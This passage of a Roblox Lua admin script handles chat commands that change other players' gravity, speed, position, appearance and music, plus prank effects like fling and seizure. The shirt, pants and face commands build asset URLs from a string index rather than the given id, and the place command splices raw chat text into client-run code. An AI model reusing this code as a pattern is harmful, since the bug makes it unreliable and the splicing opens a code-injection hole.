v.Character:findFirstChild("Torso") then for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end end end)) end end if msg:lower():sub(1,8) == "setgrav " then local chk1 = msg:lower():sub(9):find(" ") + 8 local plrz = GetPlr(plr, msg:lower():sub(9,chk1-1)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Torso") then for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0) for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force - Vector3.new(0,prt:GetMass()*msg:sub(chk1+1),0) elseif prt:IsA("Hat") then frc.force = frc.force - Vector3.new(0,prt.Handle:GetMass()*msg:sub(chk1+1),0) end end end end)) end end if msg:lower():sub(1,7) == "nograv " then local plrz = GetPlr(plr, msg:lower():sub(8)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Torso") then for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0) for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force + Vector3.new(0,prt:GetMass()*196.25,0) elseif prt:IsA("Hat") then frc.force = frc.force + Vector3.new(0,prt.Handle:GetMass()*196.25,0) end end end end)) end end if msg:lower():sub(1,7) == "health " then local chk1 = msg:lower():sub(8):find(" ") + 7 local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Humanoid") then v.Character.Humanoid.MaxHealth = msg:sub(chk1+1) v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth end end)) end end if msg:lower():sub(1,6) == "speed " then local chk1 = msg:lower():sub(7):find(" ") + 6 local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Humanoid") then v.Character.Humanoid.WalkSpeed = msg:sub(chk1+1) end end)) end end if msg:lower():sub(1,5) == "team " then local chk1 = msg:lower():sub(6):find(" ") + 5 local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and game:findFirstChild("Teams") then for a, tm in pairs(game.Teams:children()) do if tm.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then v.TeamColor = tm.TeamColor end end end end)) end end if msg:lower():sub(1,6) == "place " then local chk1 = msg:lower():sub(7):find(" ") + 6 local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v:findFirstChild("PlayerGui") then local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[game:service("TeleportService"):Teleport(]] .. msg:sub(chk1+1) .. ")" cl.Parent = v.PlayerGui cl.Disabled = false end end)) end end if msg:lower():sub(1,3) == "tp " then local chk1 = msg:lower():sub(4):find(" ") + 3 local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1)) local plrz2 = GetPlr(plr, msg:lower():sub(chk1+1)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() for i2, v2 in pairs(plrz2) do if v and v2 and v.Character and v2.Character and v.Character:findFirstChild("Torso") and v2.Character:findFirstChild("Torso") then v.Character.Torso.CFrame = v2.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1)) end end end)) end end if msg:lower():sub(1,7) == "change " then local chk1 = msg:lower():sub(8):find(" ") + 7 local chk2 = msg:sub(chk1+1):find(" ") + chk1 local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v:findFirstChild("leaderstats") then for a, st in pairs(v.leaderstats:children()) do if st.Name:lower():find(msg:sub(chk1+1,chk2-1)) == 1 then st.Value = msg:sub(chk2+1) end end end end)) end end if msg:lower():sub(1,6) == "shirt " then local chk1 = msg:lower():sub(7):find(" ") + 6 local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character then for i,v in pairs(v.Character:children()) do if v:IsA("Shirt") then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end end end end)) end end if msg:lower():sub(1,6) == "pants " then local chk1 = msg:lower():sub(7):find(" ") + 6 local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character then for i,v in pairs(v.Character:children()) do if v:IsA("Pants") then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end end end end)) end end if msg:lower():sub(1,5) == "face " then local chk1 = msg:lower():sub(6):find(" ") + 5 local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Head") and v.Character.Head:findFirstChild("face") then v.Character.Head:findFirstChild("face").Texture = "http://www.roblox.com/asset/?id=" .. chk1 end end)) end end --------------------- -- FunCommands -- --------------------- if FunCommands or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then if msg:lower():sub(1,8) == "swagify " then local plrz = GetPlr(plr, msg:lower():sub(9)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character then for i,v in pairs(v.Character:children()) do if v.Name == "Shirt" then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end if v.Name == "Pants" then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end end for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso") local torso = plr.Character.Torso local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474" p.formFactor = "Custom" p.Size = Vector3.new(.2,.2,.2) local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5) local motor1 = Instance.new("Motor", p) motor1.Part0 = p motor1.Part1 = torso motor1.MaxVelocity = .01 motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0) motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0) local wave = false repeat wait(1/44) local ang = 0.1 local oldmag = torso.Velocity.magnitude local mv = .002 if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end ang = ang + math.min(torso.Velocity.magnitude/11, .5) motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv motor1.DesiredAngle = -ang if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1 if torso.Velocity.magnitude < .1 then wait(.1) end until not p or p.Parent ~= torso.Parent script:Destroy() ]] cl.Parent = v.PlayerGui cl.Disabled = false end end)) end end if msg:lower():sub(1,6) == "music " then for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end local id = msg:sub(7) local pitch = 1 if tostring(id):lower():find("caramell") then id = 2303479 end if tostring(id):find("epic") then id = 27697743 pitch = 2.5 end if tostring(id):find("rick") then id = 2027611 end if tostring(id):find("halo") then id = 1034065 end if tostring(id):find("pokemon") then id = 1372261 end if tostring(id):find("cursed") then id = 1372257 end if tostring(id):find("extreme") then id = 11420933 end if tostring(id):find("awaken") then id = 27697277 end if tostring(id):find("alone") then id = 27697392 end if tostring(id):find("mario") then id = 1280470 end if tostring(id):find("choir") then id = 1372258 end if tostring(id):find("chrono") then id = 1280463 end if tostring(id):find("dotr") then id = 11420922 end if tostring(id):find("entertain") then id = 27697267 end if tostring(id):find("fantasy") then id = 1280473 end if tostring(id):find("final") then id = 1280414 end if tostring(id):find("emblem") then id = 1372259 end if tostring(id):find("flight") then id = 27697719 end if tostring(id):find("banjo") then id = 27697298 end if tostring(id):find("gothic") then id = 27697743 end if tostring(id):find("hiphop") then id = 27697735 end if tostring(id):find("intro") then id = 27697707 end if tostring(id):find("mule") then id = 1077604 end if tostring(id):find("film") then id = 27697713 end if tostring(id):find("nezz") then id = 8610025 end if tostring(id):find("angel") then id = 1372260 end if tostring(id):find("resist") then id = 27697234 end if tostring(id):find("schala") then id = 5985787 end if tostring(id):find("organ") then id = 11231513 end if tostring(id):find("tunnel") then id = 9650822 end if tostring(id):find("spanish") then id = 5982975 end if tostring(id):find("venom") then id = 1372262 end if tostring(id):find("wind") then id = 1015394 end if tostring(id):find("guitar") then id = 5986151 end local s = Instance.new("Sound", game.Workspace) s.SoundId = "http://www.roblox.com/asset/?id=" .. id s.Volume = 1 s.Pitch = pitch s.Looped = true s.archivable = false repeat s:Play() wait(2.5) s:Stop() wait(.5) s:Play() until s.IsPlaying end if msg:lower() == "stopmusic" then for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end end if msg:lower() == "musiclist" then if plr.PlayerGui:findFirstChild("MUSICGUI") then return end local scr, cmf, ent, num = ScrollGui() scr.Name = "MUSICGUI" scr.Parent = plr.PlayerGui local list = {"caramell","epic","rick","halo","pokemon","cursed","extreme","awaken","alone","mario","choir","chrono","dotr","entertain","fantasy","final","emblem","flight","banjo","gothic","hiphop","intro","mule","film","nezz","angel","resist","schala","organ","tunnel","spanish","venom","wind","guitar"} for i, v in pairs(list) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end if msg:lower():sub(1,4) == "fly " then local plrz = GetPlr(plr, msg:lower():sub(5)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v:findFirstChild("PlayerGui") then local cl = script.LocalScriptBase:Clone() cl.Name = "FlyScript" cl.Code.Value = [[repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") local mouse = game.Players.LocalPlayer:GetMouse() repeat wait() until mouse local plr = game.Players.LocalPlayer local torso = plr.Character.Torso local flying = true local deb = true local ctrl = {f = 0, b = 0, l = 0, r = 0} local lastctrl = {f = 0, b = 0, l = 0, r = 0} local maxspeed = 50 local speed = 0 function Fly() local bg = Instance.new("BodyGyro", torso) bg.P = 9e4 bg.maxTorque = Vector3.new(9e9, 9e9, 9e9) bg.cframe = torso.CFrame local bv = Instance.new("BodyVelocity", torso) bv.velocity = Vector3.new(0,0.1,0) bv.maxForce = Vector3.new(9e9, 9e9, 9e9) repeat wait() plr.Character.Humanoid.PlatformStand = true if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then speed = speed+.5+(speed/maxspeed) if speed > maxspeed then speed = maxspeed end elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then speed = speed-1 if speed < 0 then speed = 0 end end if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r} elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed else bv.velocity = Vector3.new(0,0.1,0) end bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0) until not flying ctrl = {f = 0, b = 0, l = 0, r = 0} lastctrl = {f = 0, b = 0, l = 0, r = 0} speed = 0 bg:Destroy() bv:Destroy() plr.Character.Humanoid.PlatformStand = false end mouse.KeyDown:connect(function(key) if key:lower() == "e" then if flying then flying = false else flying = true Fly() end elseif key:lower() == "w" then ctrl.f = 1 elseif key:lower() == "s" then ctrl.b = -1 elseif key:lower() == "a" then ctrl.l = -1 elseif key:lower() == "d" then ctrl.r = 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then ctrl.f = 0 elseif key:lower() == "s" then ctrl.b = 0 elseif key:lower() == "a" then ctrl.l = 0 elseif key:lower() == "d" then ctrl.r = 0 end end) Fly()]] cl.Parent = v.PlayerGui cl.Disabled = false end end)) end end if msg:lower():sub(1,6) == "unfly " then local plrz = GetPlr(plr, msg:lower():sub(7)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then for a, q in pairs(v.PlayerGui:children()) do if q.Name == "FlyScript" then q:Destroy() end end for a, q in pairs(v.Character.Torso:children()) do if q.Name == "BodyGyro" or q.Name == "BodyVelocity" then q:Destroy() end end wait(.1) v.Character.Humanoid.PlatformStand = false end end)) end end if msg:lower() == "disco" then for i, v in pairs(lobjs) do v:Destroy() end local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1) local color = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) game.Lighting.Ambient = color game.Lighting.FogColor = color until nil]] table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false end if msg:lower() == "flash" then for i, v in pairs(lobjs) do v:Destroy() end local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1) game.Lighting.Ambient = Color3.new(1,1,1) game.Lighting.FogColor = Color3.new(1,1,1) game.Lighting.Brightness = 1 game.Lighting.TimeOfDay = 14 wait(.1) game.Lighting.Ambient = Color3.new(0,0,0) game.Lighting.FogColor = Color3.new(0,0,0) game.Lighting.Brightness = 0 game.Lighting.TimeOfDay = 0 until nil]] table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false end if msg:lower():sub(1,5) == "spin " then local plrz = GetPlr(plr, msg:lower():sub(6)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Torso") then for i,v in pairs(v.Character.Torso:children()) do if v.Name == "SPINNER" then v:Destroy() end end local torso = v.Character:findFirstChild("Torso") local bg = Instance.new("BodyGyro", torso) bg.Name = "SPINNER" bg.maxTorque = Vector3.new(0,math.huge,0) bg.P = 11111 bg.cframe = torso.CFrame table.insert(objects,bg) repeat wait(1/44) bg.cframe = bg.cframe * CFrame.Angles(0,math.rad(30),0) until not bg or bg.Parent ~= torso end end)) end end if msg:lower():sub(1,7) == "unspin " then local plrz = GetPlr(plr, msg:lower():sub(8)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Torso") then for a,q in pairs(v.Character.Torso:children()) do if q.Name == "SPINNER" then q:Destroy() end end end end)) end end if msg:lower():sub(1,4) == "dog " then local plrz = GetPlr(plr, msg:lower():sub(5)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Torso") then if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end v.Character.Torso.Transparency = 1 v.Character.Torso.Neck.C0 = CFrame.new(0,-.5,-2) * CFrame.Angles(math.rad(90),math.rad(180),0) v.Character.Torso["Right Shoulder"].C0 = CFrame.new(.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(90),0) v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(-90),0) v.Character.Torso["Right Hip"].C0 = CFrame.new(1.5,-1,1.5) * CFrame.Angles(0,math.rad(90),0) v.Character.Torso["Left Hip"].C0 = CFrame.new(-1.5,-1,1.5) * CFrame.Angles(0,math.rad(-90),0) local new = Instance.new("Seat", v.Character) new.Name = "FAKETORSO" new.formFactor = "Symmetric" new.TopSurface = 0 new.BottomSurface = 0 new.Size = Vector3.new(3,1,4) new.CFrame = v.Character.Torso.CFrame local bf = Instance.new("BodyForce", new) bf.force = Vector3.new(0,new:GetMass()*196.25,0) local weld = Instance.new("Weld", v.Character.Torso) weld.Part0 = v.Character.Torso weld.Part1 = new weld.C0 = CFrame.new(0,-.5,0) for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Brown") elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Brown") end end end end)) end end if msg:lower():sub(1,6) == "undog " then local plrz = GetPlr(plr, msg:lower():sub(7)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Torso") then if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end v.Character.Torso.Transparency = 0 v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0) v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0) v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0) v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0) v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0) for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end end end)) end end if msg:lower():sub(1,8) == "creeper " then local plrz = GetPlr(plr, msg:lower():sub(9)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Torso") then if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end v.Character.Torso.Transparency = 0 v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0) v.Character.Torso["Right Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0) v.Character.Torso["Left Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0) v.Character.Torso["Right Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0) v.Character.Torso["Left Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0) for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Bright green") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Bright green") end end end end)) end end if msg:lower():sub(1,10) == "uncreeper " then local plrz = GetPlr(plr, msg:lower():sub(11)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Torso") then if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end v.Character.Torso.Transparency = 0 v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0) v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0) v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0) v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0) v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0) for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end end end)) end end if msg:lower():sub(1,8) == "bighead " then local plrz = GetPlr(plr, msg:lower():sub(9)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(3,3,3) v.Character.Torso.Neck.C0 = CFrame.new(0,1.9,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end end)) end end if msg:lower():sub(1,9) == "minihead " then local plrz = GetPlr(plr, msg:lower():sub(10)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(.75,.75,.75) v.Character.Torso.Neck.C0 = CFrame.new(0,.8,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end end)) end end if msg:lower():sub(1,6) == "fling " then local plrz = GetPlr(plr, msg:lower():sub(7)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then local xran local zran repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555 repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555 v.Character.Humanoid.Sit = true v.Character.Torso.Velocity = Vector3.new(0,0,0) local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1) end end)) end end if msg:lower():sub(1,8) == "seizure " then local plrz = GetPlr(plr, msg:lower():sub(9)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character then v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(math.rad(90),0,0) local cl = script.ScriptBase:Clone() cl.Name = "SeizureBase" cl.Code.Value = [[repeat wait() script.Parent.Humanoid.PlatformStand = true script.Parent.Torso.Velocity = Vector3.new(math.random(-10,10),-5,math.random(-10,10)) script.Parent.Torso.RotVelocity = Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) until nil]] table.insert(objects, cl) cl.Parent = v.Character cl.Disabled = false end end)) end end if msg:lower():sub(1,10) == "unseizure " then local plrz = GetPlr(plr, msg:lower():sub(11)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character then for i,v in pairs(v.Character:children()) do if v.Name == "SeizureBase" then v:Destroy() end end wait(.1) v.Character.Humanoid.PlatformStand = false end end)) end end if msg:lower():sub(1,12) == "removelimbs " then local plrz = GetPlr(plr, msg:lower():sub(13)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character then for a, obj in pairs(v.Character:children()) do if obj:IsA("BasePart") and (obj.Name:find("Leg") or obj.Name:find("Arm")) then obj:Destroy() end end end end)) end end if msg:lower():sub(1,5) == "name " then local chk1 = msg:lower():sub(6):find(" ") + 5 local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Head") then for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end local char = v.Character local mod = Instance.new("Model", char) mod.Name = msg:sub(chk1+1) local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new("Humanoid", mod) hum.Name = "NameTag" hum.MaxHealth = 0 hum.Health = 0 local weld = Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head char.Head.Transparency = 1 end end)) end end if msg:lower():sub(1,7) == "unname " then local plrz = GetPlr(plr, msg:lower():sub(8)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Head") then for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end end end)) end end if msg:lower():sub(1,5) == "char " then local chk1 = msg:lower():sub(6):find(" ") + 5 local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character then v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. msg:sub(chk1+1) v:LoadCharacter() end end)) end end if msg:lower():sub(1,7) == "unchar " then local plrz = GetPlr(plr, msg:lower():sub(8)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character then v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. v.userId v:LoadCharacter() end end)) end end if msg:lower():sub(1,7) == "infect " then local plrz = GetPlr(plr, msg:lower():sub(8)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character then Infect(v.Character) end end)) end end if msg:lower():sub(1,11) == "rainbowify " then local plrz = GetPlr(plr, msg:lower():sub(12)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Torso") then if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) local clr = BrickColor.random() for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = clr v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = clr v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]] cl.Parent = v.Character cl.Disabled = false end end)) end end if msg:lower():sub(1,9) == "flashify " then local plrz = GetPlr(plr, msg:lower():sub(10)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Torso") then if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Institutional white") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Institutional white") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Really black") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Really black") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]] cl.Parent = v.Character cl.Disabled = false end end)) end end if msg:lower():sub(1,8) == "noobify " then local plrz = GetPlr(plr, msg:lower():sub(9)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character then Noobify(v.Character) end end)) end end if msg:lower():sub(1,9) == "ghostify " then local plrz = GetPlr(plr, msg:lower():sub(10)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Torso") then if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then prt.Transparency = .5 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Institutional white") if prt.Name:find("Leg") then prt.Transparency = 1 end elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = .5 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Institutional white") end end end end)) end end if msg:lower():sub(1,8) == "goldify " then local plrz = GetPlr(plr, msg:lower():sub(9)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and 